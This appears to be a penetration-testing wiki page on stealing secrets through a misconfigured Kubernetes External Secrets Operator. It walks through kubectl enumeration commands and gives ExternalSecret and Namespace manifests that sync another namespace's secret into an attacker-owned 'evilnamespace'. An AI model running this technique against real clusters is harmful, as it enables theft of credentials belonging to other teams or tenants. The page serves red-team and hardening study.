The original author of this page is Fares
This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
- A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
- Read access on at least ExternalSecret at cluster level
- Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
Assuming that you have a users which has enough rights to read this resource; start by first listing existing ClusterSecretStores.
kubectl get ClusterSecretStore
Let's assume you found a ClusterSecretStore named mystore. Continue by enumerating its associated externalsecret.
kubectl get externalsecret -A | grep mystore
This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces.
You should get a list of defined externalsecret. Let's assume you found an externalsecret object called mysecret defined and used by namespace mynamespace. Gather a bit more information about what kind of secret it holds.
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
So far we got:
- Name a ClusterSecretStore
- Name of an ExternalSecret
- Name of the secret
Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
kubectl get secret leaked_secret -o yaml
{% embed url="https://external-secrets.io/latest/" %}
{% embed url="https://github.com/external-secrets/external-secrets" %}